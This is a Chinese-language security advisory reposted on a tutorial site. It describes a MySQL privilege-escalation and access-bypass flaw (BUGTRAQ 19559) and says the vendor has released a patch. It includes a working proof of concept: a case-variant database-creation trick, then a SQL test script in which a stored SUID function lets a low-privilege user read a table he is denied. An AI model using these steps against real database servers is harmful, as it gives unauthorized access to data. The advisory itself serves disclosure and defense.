MySQL权限提升及安全限制绕过漏洞

2016-01-29 14:49 6 1 收藏

MySQL权限提升及安全限制绕过漏洞,MySQL权限提升及安全限制绕过漏洞

【 tulaoshi.com - MySQL 】

受影响系统:

MySQL AB MySQL <= 5.1.10

描述:

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/mysql/)

BUGTRAQ ID: 19559

MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

在MySQL上,拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行MySQL的文件系统支持区分大小写的文件名。

此外,由于在错误的安全环境中计算了suid例程的参数,攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句。成功攻击要求用户对所存储例程拥有EXECUTE权限。

测试方法:

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/mysql/)

【警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!】

1、创建数据库

$ mysql -h my.mysql.server -u sample -p -A sampleEnter password: Welcome to the MySQL monitor. Commands end with ; or g.Your MySQL connection id is 263935 to server version: 4.1.16-standardmysql create database another;ERROR 1044: Access denied for user 'sample'@'%' to database 'another'mysql create database sAmple; Query OK, 1 row affected (0.00 sec)

2、权限提升

--disable_warningsdrop database if exists mysqltest1;drop database if exists mysqltest2;drop function if exists f_suid;--enable_warnings# Prepare playgroundcreate database mysqltest1;create database mysqltest2;create user malory@localhost;grant all privileges on mysqltest1.* to malory@localhost;# Create harmless (but SUID!) functioncreate function f_suid(i int) returns int return 0;grant execute on function test.f_suid to malory@localhost;use mysqltest2;# Create table in which malory@localhost will be interested but to which# he won't have any accesscreate table t1 (i int);connect (malcon, localhost, malory,,mysqltest1);# Correct malory@localhost don't have access to mysqltest2.t1--error ER_TABLEACCESS_DENIED_ERRORselect * from mysqltest2.t1;# Create function which will allow to exploit security holedelimiter |;create function f_evil ()returns intsql security invokerbeginset @a:= current_user();set @b:= (select count(*) from mysqltest2.t1);return 0;end|delimiter ;|# Again correct--error ER_TABLEACCESS_DENIED_ERRORselect f_evil();select @a, @b;# Oops!!! it seems that f_evil() is executed in the context of# f_suid() definer, so malory@locahost gets all info that he wantsselect test.f_suid(f_evil());select @a, @b;connection default;drop user malory@localhost;drop database mysqltest1;drop database mysqltest2;

建议:

厂商补丁:MySQL AB

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载。

来源:http://www.tulaoshi.com/n/20160129/1494375.html

延伸阅读
标签: PHP
MySQL是一个真正的多用户、多线程SQL数据库服务器。MySQL是以一个客户机/服务器结构的实现,它由一个服务器守护程序mysqld和很多不同的客户程序和库组成。由于其源码的开放性及稳定性,且与网站流行编?语言PHP的完美结合,现在很多站点都利用其当作后端数据库,使其获得了广泛应用。处于安全方面的考虑,需要为每一用户赋于对不...
1. MySQL 用户名和口令 * MySQL使用于认证目的的用户名,与Unix用户名(登录名字)或Windows用户名无关。缺省地,大多数MySQL客户尝试使用当前Unix用户名作为MySQL用户名登录,但是这仅仅为了方便,客户程序允许用-u或--user选项指定一个不同的名字。及与安全的考虑,所有的MySQL用户名都应该有口令。 * MySQL用户名最长可以是16各...
问题 在最近一次访问西部地区的旅途中,我们通过广播得知,在温哥华岛的海岸边发生了一系列的地震。尽管负责监测这些活动的科学家都充分认识到这一情况,但当时我们正好直接航行到地震发生的地方,却从来没有发现什么东西。你可能会觉得奇怪,这与SQL Server有什么关系。嗯,除非你监测这个功能的发布,要不然你可能不知道SQL Server...
标签: 电脑入门
有用户后反应文件夹都可以隐藏,系统盘能不能限制,让别人不能访问呢?答案是可以的,只要你根据以下教程操作,就能限制驱动盘的访问权限了。 1、 按下Win+R键,输入gpedit.msc,启动组策略编辑器; 2、 在组策略编辑器中依次进入"用户配置→管理模板→Windows组件→Windows资源管理器"; 3、 在右边找到防止从'我的...
MySQL权限系统保证所有的用户可以严格地做他们假定被允许做的事情。当你连接一个MySQL服务器时, 你的身份由你从那连接的主机和你指定的用户名来决定,系统根据你的身份和你想做什么来授予权限。 MySQL在认定身份中考虑你的主机名和用户名字,是因为有很小的原因假定一个给定的用户在因特网上属于同一个人。例如,用户从whitehouse.gov连接的...

经验教程

28

收藏

37
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部